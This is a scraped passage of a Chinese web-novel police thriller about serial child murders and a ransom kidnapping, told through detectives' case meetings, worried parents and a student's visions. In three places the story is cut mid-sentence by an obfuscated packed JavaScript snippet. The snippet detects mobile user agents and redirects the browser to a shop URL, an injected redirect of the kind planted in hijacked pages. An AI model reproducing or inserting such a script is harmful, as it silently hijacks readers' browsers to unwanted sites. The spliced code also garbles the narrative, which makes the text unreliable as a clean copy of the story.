众人就发现视频很快结束了,不过秦队年轻时候的样子,还是深深烙印在这群新人的脑海里,给他们带来了巨大的视觉冲击。他们忍不住想,这得是经历多少案子,才把一个性稳重情平和的年轻人,琢磨成后来那性情冷漠、一丝不苟的样子啊?笑都不会笑了。 新人警察们想不出来。 蒋飞也唏嘘一声,摸了把自己日渐稀疏的头发:“岁月催人老啊!想当年你们前辈我也是很爱笑的。”如今仔细想想,他们运气忒不好了,刚出道的第一场案子就轰动全国,花了半年才破案,他们能不性情大变吗? 众人恍惚之际,视频中的男人走了过来,声音冷淡:“你们在聊什么?还有心情聊天?还不赶紧准备资料,今天加班,张局也会出场,二十分钟后开案情讨论会,谁也不准缺席!” 一开口就是冰渣子,吹得人心呼啦啦,另有一种被抓包的心虚让空气变得相当安静。 直到开会时间一出,众人精神一凛,赶紧答了声是,乌泱泱如群鸟散开。 半小时后,案情讨论会开始。 每个人坐在长桌上,手边一杯温热咖啡,正前方是一块硕大的案情梳理白板,贴有两名受害人的照片。几条鲜红马克笔标注出的线,连接彼此,将一些零碎信息串联成线。 一名女警口齿清晰,负责讲解案件相关信息:“死者花年年,今年七岁,千灯区人,小小年纪就已经得过儿童钢琴比赛一等奖、舞蹈比赛二等奖,江州市最美天使奖……”再看白板上贴的照片,照片上的小女孩穿着纯白的纱裙,头顶桂冠,甜甜一笑,果真像是一名降临人间的天使。 这可不是无用线索。 培养这样一个孩子不容易,这充分说明了,花年年家的家境不菲,其次是花年年算是一个小公众人物。 从此可以分析,犯罪分子盯上她的目的。 女警继续徐徐说道:“案发前,花年年跟随保姆去上钢琴课,保姆把人送到附近楼下,让孩子自己上去,结果这短短一段路,孩子就不见了。父母以为孩子在上钢琴课,而钢琴课要从早到晚上一整日,所以没有及时报案。保姆也以为孩子上楼了,自行折返归家。而钢琴教室那边,根据教师描述,花年年有过不止一次的旷课经历,钢琴老师见她缺席,以为她是正常的厌学。如果强行让孩子来上课,孩子会发脾气。花家有钱,花年年又是钢琴教室的明星学员,钢琴老师不敢得罪她,所以没有第一时间告知父母。三方信息交流出现漏洞,互相以为孩子平安,错过了最佳报警的黄金时间……” 等众人吸收够了这部分,女警又换了黑板。 黑板放了对比图。 各自写了两起案子的事发时间、可能的事发经过和最终发现尸体的地点,还有法医的验尸报告 比如死亡时间:吕嘉乐9.26,花年年9.28 比如年龄:吕嘉乐八岁,花年年七岁 比如失踪地:吕嘉乐在超市后巷失踪,花年年在钢琴教室大厦遭遇重击 比如尸体发现地:吕嘉乐在河岸边草丛,花年年在河流里,横向对比一目了然。 女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639422|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警拿出笔,点了点受害者照片上的脖颈瘀青。 “两起案件手法一致,指痕比对,证明两起案子都是同一人所为。抛尸地的监控要么辐射不到,要么没有线索,尸体没有提取到指纹以及能证明身份的东西,也没有凶器,现场脚印凌乱,痕检还在辨别,初步推断凶手抛尸时‘大脚穿小鞋’,意图干扰警方的思路,反侦察意识极强……两具尸体有扭曲折叠,但没有别的痕迹……” 潜台词,凶手不是喜欢孩子的变态。 张局坐在首座,听得十分入神。 不入神不行啊,报纸一出,社交媒体再推波助澜,造成了不小的影响,城里人心惶惶,如今江州市警局背负着很大的压力。 张局长已经想好了,如果过两天还没有线索,他就会向广大媒体公开案件细节,同时对外发布悬赏。 悬赏金额五万,希望广大市民能积极提供线索,协助警方破案! 有人注意到了一点:“那花年年失踪时间,跟超市那名失踪儿童对不上,那名与吕嘉乐做出一样行为,走了后门的第二个孩子,是巧合,还是有可能出现第三名受害者?” 张局长不知道这个新线索,脸色剧变,连忙问:“超市的第二个孩子是哪个?”居然还可能有第三名受害儿童!这简直要吓死人了!可恶,这犯罪分子还是人吗! 蒋飞赶紧三言两语给他解释。 第一名受害者吕嘉乐,走了没有安装监控的超市后门,只通一个长巷子,可能就在那处被凶手掳走遇害。根据后来技侦人员辨别,当时跟他一起走后门的,还有第二名孩子,目前不知是平安还是下落不明。 听完解释,张局长脸色一点也没变好。 人最怕的是什么,永远是未知。怕的是凶手隐藏人海,根本不想收手,两条人命不会轻易让对方止步。 “花家也经商,夫妇俩常年热衷慈善,在社会上口碑不错。两人也洁身自好,没有婚外情,据他们所说,商海沉浮不容易,与人结交时难免出现结怨对象,但范畴也属正常的商业竞争,没有到你死我活的地步……吕嘉乐父母和花年年父母,两对夫妻素不相识,关系网也不重合。如果要提炼出共同点的话,这两家都家境优渥,孩子都是膝下的独生子女,是父母的掌中宝,失去这个孩子会让全家人都生不如死。” 齐翎想起两家父母来认尸时崩溃的样子,心有余悸地点了点头。 众人也倾向于这是一场精心挑选后的随机杀人。 发言到这里暂告一段落,轮到众人翻阅资料各抒己见。 有人提议,对受害者花年年及父母的家庭、社会关系网进行调查走访,任何商业金钱往来也不能错过。 也有人不明所以:“这大概率是一场随机杀人,还有必要排查受害者的社交关系吗?”他们之前可是派出大量人马搜查了吕嘉乐父母的周边关系,查了个底朝天,也没有发现任何嫌疑人。 一个连环杀人案,凶手不会止步于此,很有可能会继续犯案。 如今有第三个受害者这个猜测悬在眼前,他们做事必须得争分夺秒,一旦定错嫌疑方向,很有可能增加破案难度、增加工作量,同时浪费大量警力。 言之有理。 张局长也点了点头。 谁料那人义愤填膺道:“谁说没有必要了,你们难道忘记了二十年前发生的百家姓杀人案和国外类似的ABC谋杀案①了吗?” 众人瞠目结舌。 那人平静道:“外国有ABC谋杀案,咱们本土也有类似的案子。当年一个姓赵的人喝醉酒被人杀死了,几天后一个姓钱的女人死了,等到一个姓孙的老人也不幸遇害时,警察才从现场找到一本《百家姓》,上面写着‘赵钱孙李’,一时惊为天人。专家猜测分析,凶手是一个报复社会的疯子,想以姓氏为顺序一个个杀人,接下来要轮到‘周吴郑王’了,一时间整座城姓这些的人都要吓疯了。当年那案子我也参与了。当年刑侦技术有多落后,你们也知道,我们几乎是与时间赛跑,等杀到‘郑’姓的时候,才有人意识到不对劲,选择着手去调查前七名受害人周边关系……” “然后凶手就这样落网了。” 众人好半天才回过神。 “你的意思是,凶手真实目的其实只是想杀‘赵钱孙李,周吴郑王’中的一个,杀其他人只不过是打着随机杀人的幌子来掩人耳目,将警方的视线从自己身上移开?” 要知道熟人作案和随机杀人,这两者的侦破方向可截然不同。 事实也是如此,赵钱孙李,凶手根本只想杀那个“孙”,其余人不过是凶手为了隐藏自己而无辜受到牵连的可怜人。 “没错。”这名警员大胆地点了点头,“所以针对受害人周边的关系网,可能会扑空,但功夫绝对不能省!万一放过了真正嫌疑人呢?” 完了,他觉得很有道理,受害人身边的社交关系确实该查! 张局长收回目光,一言不发。 10. 第十章 这一讨论直到深夜。 案情讨论会上人人眼圈发黑,手边的咖啡杯都空了。江州市警局里的咖啡只有一种,苦得舌头要断掉的涮锅水,可为了提神,众人还是一口闷。 蒋飞提议,加大周遭监控和针对交通工具的排查力度,同时在数据库里搜查近二十年来有前科的人员,尤其是那些出狱后不知去向的人。 这点也很有必要。 张局长点了点头,同意了二次分兵。 警力分配完毕后,剩下的只有一点,也是这两起案件发生以来,令张局长在内所有人皆困惑不已的一点,那就是——动机。 凶手不惜杀害两名儿童,不藏着掩着,他的目的到底想要什么? 经济利益?报复社会?寻求认同?追求刺激?仇恨,比如与父母的仇怨迁怒到下一辈,爱恨等情感纠葛等?通过虐杀儿童获得满足?博取世人关注?…… —— 又一日幼儿园放学,街市热热闹闹充满欢声笑语。斑马线直通幼儿园,每一名私家车司机路过这里,都会下意识放缓车速。 一位父亲找到空位停了车,大步朝幼儿园走去。一个孩子坐在小马扎上,明显等急了,一见到他过来眼眸爆亮,“爸!爸!” 明明性格腼腆还吐字不清,却高兴得一步三跳,像一只小雀儿寻找到巢穴般依赖地扑过去。姿势太快,还把小马扎给带翻在地。 守候在旁的女老师也松了口气。 男人脸上绽开笑容,弯下腰把孩子抱了起来,忙不迭地问:“小杰,今天有没有听话?有没有到处乱跑?” 一听这话,周杰抱住父亲的脖颈,点了点头:“有!没有!” 都五岁了还口齿笨拙、不能完整表达,只能用动作表达情绪,这样的孩子在幼儿园里都饱受欺负更别提上小学了,换了其他父母估计要心绪大恸。可男人一点也不介意,笑眯眯:“那小杰很棒哦,以后继续加油?” 周杰小脑袋大大点头:“加!油!” 童言稚语可爱万分,男人和老师都露出了会心一笑。笑完后,老师才露出忧愁的笑容,“周先生,最近的新闻您看了吗?” 此话一出,男人脸上儒雅的微笑也消失无踪,“儿童连环失踪被害案”、“小河流”、“钢琴教室失职”等关键词这些天可是引爆网络,闹得满城风雨。 “自然看过了。”男人脸色难看,脚步颇为沉重,想必每一个家里有孩子的父母看到头条上死状凄惨的小女孩,心情都不会轻松,一边骂记者侵犯隐私毫无职业道德,一边骂凶手简直是畜生该下十八层地狱,抽空再骂骂警察怎么还不将凶手缉拿归案。 话题就这样开启了。 “周先生,我们校方知道您工作繁忙很不容易,不过……”女老师欲言又止,“听说那凶手喜欢长相好看的孩子,您千万要小心小杰的人身安全。” 媒体记者不当人,受害儿童的生前照片满天飞,无论是吕嘉乐还是花年年,容貌都是标准的金童玉女。也是如此,市民们看了更心疼也更窝火:天啊凶手有没有良心啊,这么漂亮标致的孩子哪个不是家里如珠似玉的宝贝,这都舍得下手!? 海角论坛是全国最大的互联网交流平台,论坛网友们人均侦探,最喜欢分析案件了。受害者都是孩子,死相凄惨还遭遇过折叠,一时间谣言纷纷:有人猜测说凶手是仇杀;抛尸地都是河流周边,有人说凶手其实信奉某种海外邪恶宗教,需要献祭多少名儿童;有人说,自己看过行迹可疑的人拉过行李箱,行李箱表面覆了一层红褐色;更有人说凶手单纯就是喜欢可爱儿童的变态,凶手不会止步等等,各种言论甚嚣尘上。 可想而知,凶手一日不落网,会给整个城市带给多少恐怖的谈资。 大家比较相信最后一种猜测。 “小杰长得很可爱,周先生您要注意啊。” 周杰小朋友确实长得玉雪可爱,长长的睫毛下眨巴着黑葡萄般动人,小小年纪就唇红齿白。 如果她是那个凶手,一定见猎心喜吧。女老师忍不住忧心忡忡。 男人脸色剧变,嘴唇抿紧,连忙感谢道:“多谢提醒,我会注意的。” 他脑子里回想起照片上的凄惨受害者,想到如果是自己的孩子……想到那个可能性,男人就下意识收紧了手臂,把孩子死死抱住。 不会的!他绝对不允许自己的孩子遭遇毒手! 不只对周杰父亲,幼儿园老师这几日对每一位学生家长都这么千叮咛万嘱咐。嗓子都要说冒烟了也不能停,毕竟幼儿园实在不能承受一个孩子出事的责任。即使孩子是在校外出事的,也容易上头条,或者被悲伤过度的孩子父母迁怒告上法庭,这种事最好不要出现,否则真是哑巴口含黄连有苦说不出。 更别提马上是长假了,幼儿园再怎么想盯着也是鞭长莫及,只能让父母们长点心了。 周杰小朋友似乎不明白大人的凝重,他被太阳晒到了,肉乎乎的小手举起印有奥特曼的水壶,瓶口一拨开,咕噜噜地喝起了水。 神色是那般天真纯稚,无忧无虑。 女老师见了,返回教室,“差点忘记了,小杰的帽子。”她理了理孩子如雏鸟羽毛般细软的头发,刚想给孩子戴上,忽然周杰父亲把帽子接过,折叠了两下,放进随身携带的公文包里,“先不用戴了,马上就进车里了。” 女老师不明所以。 男人忽然指着远处轰隆隆的巨响:“幼儿园打算重新装修吗?” 女老师苦涩一笑:“是啊,这个案子一出来,爱尔贝幼儿园接到很多家长的投诉和建议,说我们围墙太低了,才一米八,如果真有不法分子盯上园里的孩子,趁我们不注意,从后门围墙直接翻越进来,就能不动声色地把孩子掳走。” “所以我们打算趁假期把围墙加固加高,为了跟原来颜色贴切,还要重新粉刷一遍。” 见男人神色有异,女老师以为对方很在意,连忙解释道:“周先生您放心吧,我们使用的油漆都是没有甲醛的,绝对不会损害孩子的健康,破坏呼吸道。” 男人理解地笑了笑:“辛苦你们了。” 周先生果然是一位儒雅随和的人士,女老师这样感叹,就在这时,一名身穿制服的警察走了过来。 还沉浸在感叹中的女老师,发现周先生眉头皱起,一脸不满,像极了性情大变。 那是一名二十出头的小警察,年轻俊朗,眼神格外明亮清正,在烈日炎炎车水马龙下行走,一口水都没喝。他走访调查时,很多路人都愿意说话,积极提供帮助。 唯独在周杰父亲这里碰了一鼻子灰。 周杰父亲说:“你们警察也太没用了吧,这都第二个小孩死了!到底要死几个孩子,你们才能把人抓到?” 犯罪分子逍遥法外,这是警察抓不到人的责任,凭什么把危机转嫁到他们这些为人父母身上,让他们日日夜夜活在惶恐之中,成天为了孩子的安危提心吊胆。爱子如命的他,根本难以想象,如果他的孩子,有朝一日变成一具冰冷的尸体他该怎么办! 想到这里,他的怒火就无法平息,一定要找到一个地方发泄出去。眼前的小警察就是一个很好的选择,他不否认自己在迁怒。 齐翎被劈头盖脸训斥了一番,心里懵得很。听到最后,他眉头猛跳,刚想反驳,忽然视线对上这位父亲怀里的孩子,一下子就理解了。 哎这也是一个关心则乱到口不择言的父母。 新人警察没脾气,千言万语只能汇做一句安抚,“这位先生不要生气,我们已经在努力查案了!一定很快就能把凶手缉拿归案!” —— 英华中学 九月底秋风来不及肃杀,炽热的阳光照射教学楼,操场上蒸腾着暑气。眼看时间一点一滴地流逝,教室里的同学如坐针毡,心情既痛苦又开心。 呈现在面上的表情十分诡异:想到明天就放假,嘴角整体是上扬的,想到老师还在没完没了地发卷子,扬起的嘴角不禁向下撇了撇。 “好了,物理就发七张卷子,你们一天做一张!全都是选择题,大题很少,很快做完!”物理老师臂力惊人,随手拿起一摞卷子,发给课代表,无视了底下一片鬼哭狼嚎。 他甚至拍桌子:“嚎什么嚎!一天才一张,一个小时就能做完,每天抽一个小时搞不定?物理作业已经是最少的了,你们还嚎!再嚎我再发两张!”反正天南海北,有的是题型和卷子给这群小兔崽子们做!他还能当场出题! 众人瞬间不敢嚎了,只有最后排一句小小声飘来:“老师,你发七张,别科老师也发七张啊!”可怜可怜孩子吧! 物理老师选择性没听见。 众人敢怒不敢言。 江雪律游了一下神,等回神后他发现桌子上已经有六张卷子,曲蔓枝正在给他发第七张,见他抬起头,少女忍不住微微一笑。 后排传来一声硕大的冷哼声,赫然是封阳。 他正嚣张地撑着脸,满脸的不爽,似乎是嫌弃班花发卷子动作慢耽误时间,忍不住就敲了敲自己的桌子,催促道:“课代表,快点发卷子。” 走通道给每桌发一张卷子只要几秒,班花却能在某一桌磨蹭二十秒,这司马昭之心,他看得一清二楚。 “发了你会做吗?有本事别抄!”曲蔓枝横眉冷对,还真的走过去。 “你不发怎么知道我不会做。”输人不输阵,封阳哼了一口气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639423|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后一节课还剩下十分钟,大家心思都不在了,周眠洋忍不住探过头来,开始跟江雪律商量旅游攻略:“阿律,放假七天你要去哪里,没地方去,跟我们去爬山啊!” 江州市还是一座旅游大城,美食美景人文格外突出,每年假期都能掀起旅游大小高峰,从白昼到夜晚,每一秒金钱流淌都创造醉人的财富。 城里人山人海,不过本地人可就叫苦不迭了,开个车都拥堵。所以这几年每逢假期,外地人来旅游,本地人要么蛰居在家,要么直接“逃离都市”。 周眠洋的父母是后者,他们热衷于拜访名山大川、峡谷悬崖,这一次想把江雪律给捎带上。 周眠洋脸色发红,兴致勃勃道:“我妈准备了好几顶帐篷,晚上我们可以一起睡,去峡谷烤肉、森林看萤火虫。我堂哥也要去,他买了天文望远镜M7568,这国外的设备不好买,据说科研所才有,我堂哥说近距离看到月亮,远的可以观测到银河、星体移动,什么几千几百万光年外的礁湖星云、哑铃星云、仙女座大星系都能观测到,我看你最近在研究星星,那真的不能错过,至于我姐姐她……她不去……你要不要和我们一起去?去个七天回来,我爸说他知道一条近道,保证回来不会堵车!” 说者无心,听者有意。 前桌心动了,忍不住将脑袋扭过来,大喊道:“洋儿,加我一个!” 什么?星星? 封阳收回大长腿,竖起耳朵,捕捉到一个关键词,他立刻走到前边去,瓮声瓮气:“加我一个!” 周眠洋诧异:“不是吧封阳,你也对星星感兴趣?” 看不出来啊! “是啊!”校霸矜持起来,下颌略微抬起,他抬了几秒,忽然想起有人说过他这个角度看上去高傲,连忙低下头颅。 他一本正经地说:“我当然喜欢星星了。咱宇宙浩瀚无垠、幽暗广袤,而人类那么渺小,我们至今只探索了一小片区域,人仰望星空怎么会没有好奇心……” 文绉绉的废话那么多,总结下来就一个意思:加我一个!我想跟你们一起去看星星! 江雪律也心动了一瞬,也仅仅心动了一瞬,半晌他拒绝道:“我去不了,这七天我有事做,可能……很忙。” 因为他看到了—— 某处暗不透光的黑暗角落,三名瘦弱的小男孩正佝偻着身子,紧紧抱住自己的膝盖,默默流泪。他们的泪水很多,却不敢哭出声,手臂布满了青紫色的伤痕。 而“他”走过去,手里端着一碗冷饭,他的目光与孩子对视了几秒钟,高大的身影如山一般,孩子们的眼神满是惊恐,顿时凑成一团,连抽泣的动作都不敢,大气都不敢出。 “你们很好很听话,明天该给你们爸妈打电话了,要说什么,不用叔叔教你们吧。乖乖配合,你们还能跟父母有重聚的一日。” 孩子们缓缓点头,沉默温顺如待宰的羔羊。 他们是真的怕了,一天一夜没吃东西,今天如果不是小胖拿碗接了一点雨水,他们差点渴死。听男人提起父母,其中一个年龄最小的孩子没忍住,咬着嘴唇哭了起来。 “真的乖。”男人放下饭碗,却没有准备筷子和勺子,欣赏着这三个孩子像小动物般狼吞虎咽,嘴角扬起一个恶魔的笑容。 看到这一幕,江雪律颇为震惊,他不知道梦境真假,却犹豫地认为自己必须做点什么。 听到拒绝,周眠洋脸上流露出小失望,好兄弟不去,乐趣砍一半,他转了头决定把封阳当做备胎替代品。 “封阳你还去吗?” 这一次再问,某人翻脸比翻书快:“不去了。”什么M7568,落伍两三年的玩意,当他家没有似的。 他家里可是在江州市有一栋观景最好的别墅,还有一整个独立阳台,摆满了观测天文的设备,每一个都价值不菲。如果学霸不去,谁稀罕千里迢迢跑悬崖峭壁上吹冷风,他图什么,还不是图晚上能跟学霸一起烤肉躺帐篷里看星星吗。 另一边,江州市警局兵荒马乱。 “不好了秦队、局长,指挥中心传来警报,有三对父母报案,说自己孩子失踪了!”蒋飞冲进室内,嘴里喘着气。 “三个!!!?” 嚣张,这实在太嚣张了!张局长不禁拍案而起,神色怒不可遏,江州市已经很久没有出现这般十恶不赦的罪犯了。 “等……等等张局,我还没说完!绑匪说自己是前两起凶杀案的凶手,这一次他向每户家庭要五百万美元的赎金,总计是一千五百万美金。” 张局长双目圆睁,停下拍桌子的动作,错愕得失去了所有话语。他盯着蒋飞的嘴一张一合,噼里啪啦地输出,第一次怀疑自己听错了。 11. 第十一章 案件的性质居然变了! 他们第一次遇到这种事,按理来说都是先绑架后杀害,如今居然出现了反套路凶手,先杀害后绑架,这怎一个“奇”字。 “你说什么,你确定没有说错,你再说一遍!”张局长怒目圆睁,用近乎怒吼的声音喝道,他也是刑警出身,显然以为自己听错了。 “就是哎我解释不清楚,现在忙着呢……局长啊您自己听指挥中心的录音电话吧!”说完,蒋飞急急忙忙就挂断了电话,这绑架案迫在眉睫,秦队已经紧急召唤外出的人员集合,换了谁都没时间跟惊疑不定的领导多说几句。 张局长很快就从指挥中心,了解到事情的起因经过结果,可谓是一波三折。 七八天前,天豪小学组织一场为期多日的夏令营活动,报名费高达几万,可以说能参加的孩子家里小有资产。夏令营期间一切戒严,军事化管理,所有家长电话都打不进去。 夏令营组织方也是训练有素,去的路上一丝不苟,返程路上也许是精神放松了,孩子们引吭高歌,在管理上稍有懈怠。 几个孩子说尿急,下了卡车去树林里解决,有两个归来,有三个却一去再也没回来。 这几日相处,营里没有刺头,都是恪守命令的孩子,到点了自己会回来。 卡车司机也没清点人数,直接开车走人,一个个把孩子送回家去,等发现三个孩子失踪时已经是几个小时以后。 家长也慌了,随后接到一通电话,大惊大悲之下直接报案。 而同一辆卡车上的孩子为什么没举手告知营方同伴没回来。因为人数众多,夏令营迷彩卡车三辆齐驱,大家都以为三个孩子去了别辆卡车,孩子们早已习惯了互相去别的卡车上串门,开开心心地玩耍,并不当回事。 很显然,这又是一场管理上的漏洞。 “被绑的孩子是哪几家?” “浣花区,住址在鹭湖的陆家、何家和风华满庭的杨家。” 张局长一听又想拍桌子了:还真的都是有钱人家! 浣花区可是江州市最早一批富人区,鹭湖花园地段更是其中的佼佼者,那里集中的多是高档住宅、别墅群和附庸风雅的仿古建筑。无论是鹭湖还是风华满庭,能在此地落户的家庭多是巨富,生的孩子都是小肥羊,只要一出手完全是一本万利的买卖,难怪成为绑匪的目标。 再听指挥中心发来的录音,这是一条经过处理、质量不高的非原始音频。 “你们的孩子在我手上,我要五百万美金,记住,是每户五百万美金,我以后只会给其中一家打电话……” 毫无疑问这是一通标准的绑架电话,绑匪挟持了三个孩子。接下来的录音张局长就听不真切了,除了嘈杂的电流声,只剩下受害者家属情绪激动的叫喊。 大意都是给给给,我命都给你,请绑匪不要伤害孩子。 “局长,接下来怎么办?” 张局长深呼一口气,短暂的停顿后,是一顿疾风骤雨的输出:“还能怎么办?召集所有人手,全部前往浣花区,全力以赴面对这起绑架案!市局人手不够,就调分局,总之,孩子的安全不能有半点闪失!再喊蒋飞联系交警队,务必请他们调取夏令营回程途中的所有监控,给我查!包括森林大道、国道等主干道,除非绑匪是走小路,否则一辆车一辆车的查!” 张局长的暴躁显示出这一切非同小可,这也正常,命案接一连二发生。 更赶上长假来临,整座城市歌舞升平一切祥和,分局很多人手都被抽调去维持秩序。这个时间点又发生了绑架,明显是一场要烧起熊熊大火、轰动全城的大案,换了谁都无法心情平和。 与此同时。 鹭湖花园的地下停车场宽敞,堪比一座钢筋水泥般的末日堡垒。一辆又一辆车悄无声息地驶入,为了不打草惊蛇,每一名下了车的警员,都换上了便服。 有警员身穿租来的高档服饰,伪装是鹭湖住户回家,比如蒋飞,他一身西装打领带,发胶抹在头顶,脚蹬油亮的黑皮鞋,脸上露出痞笑。他的演技极好,明明是第一次踏入高档住宅区,却仿佛自己已在这满园花池里住了好几年般面带微笑,从容自然。 也有警员穿着低调,伪装成建筑公司的员工制服,手里提着一个个油漆桶,实则里面装着最新版本的电脑、监听装置等高科技设备。 秦居烈身材高大,气势又惊人,只能脱下外套和腕表,以一名装修设计团队的总监入住鹭湖。 警方的行动隐秘又低调。同是鹭湖花园住户,封阳在自己别墅阳台晒太阳,愣是没发现有一群外来人进了花园。 可他们的行动却瞒不过受害者家属,在踏入陆家时遭到了情绪激动的阻拦。 那是一位穿着旗袍,浑身上下珠光宝气的老太太。据邻里评价,陆老太太是一名和蔼可亲,端庄娴雅的贵妇人,可这一刻,当警方想进入这栋别墅时,老太太却已经没有了平日里的端庄。 她变了。 变成一个歇斯底里的老太太,没有平日里的好相处。 “你们走!打电话的是何家,我们陆家没有打过报警电话,也不要警方的帮助!”老太太甚至强硬地堵着门,无视了保姆的意见,不想给警方开门。 这里不得不说,这三家被绑架的孩子,要么是老来子,要么是全家的命根。 何、陆、杨三家的孩子同时被绑,可三家的意见并不一致,里边的家庭成员中,更是分了两派:一派是坚定的报警派,一派是给钱就好,满足绑匪的胃口只要把孩子换回来就好的息事宁人派。 息事宁人派认为,如果让绑匪知道,他们报警了,绑匪会撕票,孩子就回不来了。报警等于撕票。 听到吵闹声,陆家男主人急急忙忙赶来:“妈,你在干什么,快点让警察同志们进来啊!”把人堵在门口算什么事啊! 刚刚隔壁封家听到动静,已经派人来问,发生什么事了,他只好用老太太不满装修新风格,在跟团队吵架的话术糊弄过去。 老太太:“我的儿啊,你在做什么!你怎么能报警,那是小宝,是你儿子,也是咱家的命根。如果小宝出事了,我告诉你,我也不想活了!”孙子是老太太的心头肉,如果孙子死了,她也不想活了, 想到孩子生死未卜,可能还在受苦,老太太的心似有一把刀子在切,割了一刀又一刀。 一听到孩子,男主人脸色死灰般难看,他是坚定的报警派。 可他的理智从昨天开始就面临土崩瓦解,绑架消息一出,妻子就病得晕倒了,需要有人照顾,老太太也不断大哭。绑匪更是指名道姓给他家打电话,其他两家也早早来到陆宅。 他被迫坚强起来。 “妈你糊涂啊,我们必须报警!”老太太又不是没看过报纸,那绑匪穷凶极恶,可是杀过人的,手里已有两条人命,怎么可能拿到赎金就满足,他们不能抱有侥幸心理。 男主人十分理智。 “报警,报什么警,那是何家自作主张,跟我们有什么关系!”陆家老太太对警方到来产生强烈的抵触和抗拒,“你们走!不要害我家乖孙,绑匪说了不能报警,我们打算私了!” 最后一句尖锐、破音,近乎嘶吼。 老太太爱孙心切,一直强调,报警会害了自己孙儿,却忘记了这个绑匪前身可是一起孩童连环命案的凶手,警方必须干涉。 加之绑架赎金过大,不仅轰动市局,省里也派了人过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639424|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个小时前,谈判专家周克夜才下了飞机,连洗漱都来不及,急匆匆赶往杨家。结果听说绑匪把联络指定地点放在了陆家,又再一次乘车来到陆家。 可怜如他,奔波了许久,水都来不及喝上一口,还得先应付陆老太太这般不配合的家属。家里的保姆佣人更是人人提心吊胆记挂着小主人的安危,没有人给他倒一杯水。 拨开欲言又止的蒋飞,周克夜上前一步,用温和的声音开口劝道:“陆老夫人,您听我自我介绍一下,我是一名谈判专家。” 搞不明白这是什么名堂,也不认识周克夜的老太太愣了一下,在状态最激烈时被人打断,思绪不由跟着对方走了。 “您可能不认识我,我目前是省公安厅的外聘顾问,这是我的名片。这里是我的百度百科,讲述过我谈判的所有案子。请您相信我,报警非常有必要,如果没有警方介入,根据国际大数据,儿童走失或被绑架24小时后,成功生还的可能性只有不到50%……我们此次是秘密行动,我本人更有丰富经验,我们一定会尽力把您的孙子平安带回来。” 老太太一愣一愣地看着名片上花里胡哨的一堆头衔,还有手机上这字数不短的个人经历,简直如同话本一般传奇。 下意识就把脖子上的银边老花镜往鼻梁上戴了。 实际上老太太不知道,在场的不少警察,百度百科比周克夜还波澜壮阔、曲折离奇。只是周克夜一开口说自己是谈判专家,非“警察”身份,让老太太对他的敌意没有那么强烈,更愿意倾听他的话。 齐翎见状松了一口气,抽出一只酸疼的胳膊,扶了扶自己的安全帽。 他这个油漆桶实在太重了。 陆先生从头听到尾,见母亲被人安抚成功,也听到周克夜口里说的数据,什么只有不到50%,立刻摁住母亲的肩膀,神色坚定地开了门:“麻烦你们了。” 所有人这才成功进入。 陆老太太是冷静了,也没有完全信任警方,她的理智只是暂时的,等警方进屋开始爬上爬下安装设备。她视线一转,看到客厅里无处不在的小孩用具,比如孩子的足球、孩子的满月照时,老太太情绪又开始崩溃了。 直到看见最后进来的男人,目测身高一米八六以上,肩宽身挺,黑发梳得一丝不苟,剑眉下眼窝深邃,一双黑瞳冷静锐利,气场稳重强大。 老太太精神一振,下意识忘记了嚎。 蒋飞一边在电话植入监听装置,一边介绍道:“陆老夫人,这是我们支队长,从警多年的精英,得过多次个人功勋和表彰,他精通格斗、射击、侦查,枪法更是老厉害了,远距离一枪一个。曾经在危难之际,从持刀绑匪手里救过一名人质。绑匪要求赎金,肯定会要求见面,那一天就是我们秦队出手的时候了。” 履历说得越多,家属自然安全感满满,愿意配合。 果不其然,本来六神无主、心生悔意的老太太一下子就信服了。效果有限,不过暂时是安静下来了。 过了一个小时,轮到陆家男主人神色不淡定了。 “警察同志,快九点了,他、他要打电话过来了。”此话一出,气氛几乎凝滞起来,老太太捂着胸口靠在墙上,似乎有点呼吸不过来。 其他人却顾不上了,井然有序地动员起来。 秦居烈也即刻走向沙发上落座,提前戴上监听设备,一双眼紧紧盯着电脑设备,神色极为专注。 所有人密切关注着时间,牵挂着那三名被绑架的孩子。 说时迟那时快,随着客厅角落的黄铜摆钟发出一声沉闷的巨响。一潭寂静如死水中,“叮铃铃铃——” 座机响了,清脆的铃声如催命符一般,众人心中一凛。 12. 第十二章 男主人骇得双手发颤,心一下子跳到嗓子眼里,他忍不住望向了拱卫在他四周的警察,秦居烈朝他点了点头,示意他不要紧张,接起电话。 男主人心安定几分,他深呼吸又深呼吸,平复了心中情绪,接起了电话,同时开了外放,“喂……你终于打来电话了……孩子还好吧?” 这是警方交代的台词。 谈判专家给了他稿纸,开场白就有三四句,他选了其中最符合他性格也最自然的一句。 